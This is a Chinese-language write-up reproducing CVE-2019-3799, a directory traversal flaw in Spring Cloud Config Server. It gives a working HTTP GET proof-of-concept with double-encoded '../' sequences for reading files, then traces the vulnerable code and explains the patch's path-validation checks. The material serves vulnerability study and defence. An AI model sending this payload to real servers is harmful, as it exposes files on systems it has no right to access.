
CVE-2019-3799spring-cloud-config 目錄穿越漏洞復現
目前受影響的 Spring Cloud Config 版本:
-
Spring Cloud Config 2.1.0 ~ 2.1.1 -
Spring Cloud Config 2.0.0 ~ 2.0.3 -
Spring Cloud Config 1.4.0 ~ 1.4.5
先放 poc:
GET /aaaa/aaaa/master/..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
本地測試是在 windows 下,%252F 的數量可以根據系統和目錄的不同進行增減。
為了展示更好的利用效果,我們在 C:\Temp 目錄下建一個 1.txt,內容為 test。 發送利用代碼: 漏洞源碼下載地址: https://github.com/spring-cloud/spring-cloud-config/releases/tag/v2.1.0.RELEASE
用 IDEA 打開 spring-cloud-config-server 的目錄,spring-cloud-config 分為 server 端和 client 端,該漏洞是爆發在 server 端,所以打開的是 server 端的源碼。斷點在圖中 ResourceController.java 的 77 行。
發送 POC,發現斷點捕捉成功。
根據@RequestMapping("/{name}/{profile}/{label}/**")
可知,我們的路由是符合這個 action 的。 跟蹤代碼。 這塊我們仔細講下有幾個函數下面的底層實現邏輯。
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile, @PathVariable String label, HttpServletRequest request, @RequestParam(defaultValue = "true") boolean resolvePlaceholders) throws IOException { String path = getFilePath(request, name, profile, label); return retrieve(name, profile, label, path, resolvePlaceholders); }
看下 getFilePath 的實現。
private String getFilePath(HttpServletRequest request, String name, String profile, String label) { String stem; if(label != null ) { stem = String.format("/%s/%s/%s/", name, profile, label); }else { stem = String.format("/%s/%s/", name, profile); } String path = this.helper.getPathWithinApplication(request); path = path.substring(path.indexOf(stem) + stem.length()); return path; }
直接來到 return,可以看到 IDEA 幫我們把變量的數值都已經計算出來了。通過 return 的 path 可知,這個 getFilePath 是用來獲得 POC 里 URI 路徑里的最后一段內容
..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt
回到上級代碼,進入retrieve
函數的實現:
synchronized String retrieve(String name, String profile, String label, String path, boolean resolvePlaceholders) throws IOException { if (name != null && name.contains("(_)")) { // "(_)" is uncommon in a git repo name, but "/" cannot be matched // by Spring MVC name = name.replace("(_)", "/"); } if (label != null && label.contains("(_)")) { // "(_)" is uncommon in a git branch name, but "/" cannot be matched // by Spring MVC label = label.replace("(_)", "/"); } // ensure InputStream will be closed to prevent file locks on Windows try (InputStream is = this.resourceRepository.findOne(name, profile, label, path) .getInputStream()) { String text = StreamUtils.copyToString(is, Charset.forName("UTF-8")); if (resolvePlaceholders) { Environment environment = this.environmentRepository.findOne(name, profile, label); text = resolvePlaceholders(prepareEnvironment(environment), text); } return text; } }
根據源碼可知,前兩個 if 是用來替換目錄中含有(_)
為/
的邏輯,一個替換 name 位置,一個替換 label 位置,直接來到 try 位置。看看 IDEA 告訴我們 name 和 label 具體對應的是什么。

來到 try,可以看到這個 try 有點不太一樣,是try(){}
的形式,可以查一下資料: https://blog.csdn.net/qq_33543634/article/details/80725899 可知: 簡單來說,
()
里的內容比 {}
先執行,進入 find0ne 方法:
public synchronized Resource findOne(String application, String profile, String label, String path) { String[] locations = this.service.getLocations(application, profile, label).getLocations(); try { for (int i = locations.length; i-- > 0;) { String location = locations[i]; for (String local : getProfilePaths(profile, path)) { Resource file = this.resourceLoader.getResource(location) .createRelative(local); if (file.exists() && file.isReadable()) { return file; } } } } catch (IOException e) { throw new NoSuchResourceException( "Error : " + path + ". (" + e.getMessage() + ")"); } throw new NoSuchResourceException("Not found: " + path); }
來到if (file.exists() && file.isReadable()) {
, 看下循環的getProfilePaths(profile, path)
的內容,是個數組,數組第一個不符合要求,第二個符合我們要讀的文件內容: 循環來到第二個 local
..%2F..%2F..%2F..%2F..%2F..%2FTemp%2F1.txt
進入 if 判斷,如果文件存在,且可以 read,就會返回 file。
這時候已經把讀出來的內容復制到 text 內容返回了。
最后展示到了返回值里。 整個漏洞流程就是這么個邏輯。
我們來看下補丁是怎么打的。在 2.1.2 代碼與 2.1.0 代碼進行比較。

@Override
public synchronized Resource findOne(String application, String profile, String label, String path) { if (StringUtils.hasText(path)) { String[] locations = this.service.getLocations(application, profile, label) .getLocations(); try { for (int i = locations.length; i-- > 0;) { String location = locations[i]; for (String local : getProfilePaths(profile, path)) { if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) { Resource file = this.resourceLoader.getResource(location) .createRelative(local); if (file.exists() && file.isReadable()) { return file; } } } } } catch (IOException e) { throw new NoSuchResourceException( "Error : " + path + ". (" + e.getMessage() + ")"); } } throw new NoSuchResourceException("Not found: " + path); }
多了isInvalidPath
和 isInvalidEncodedPath
,去看下這個兩個函數的源碼:
protected boolean isInvalidPath(String path) {
if (path.contains("WEB-INF") || path.contains("META-INF")) { if (logger.isWarnEnabled()) { logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]"); } return true; } if (path.contains(":/")) { String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path); if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) { if (logger.isWarnEnabled()) { logger.warn( "Path represents URL or has \"url:\" prefix: [" + path + "]"); } return true; } } if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) { if (logger.isWarnEnabled()) { logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: [" + path + "]"); } return true; } return false; }
private boolean isInvalidEncodedPath(String path) {
if (path.contains("%")) { try { // Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8 // chars String decodedPath = URLDecoder.decode(path, "UTF-8"); if (isInvalidPath(decodedPath)) { return true; } decodedPath = processPath(decodedPath); if (isInvalidPath(decodedPath)) { return true; } } catch (IllegalArgumentException | UnsupportedEncodingException ex) { // Should never happen... } } return false; }
對一些目錄和字符串進行了過濾。
本文使用 mdnice 排版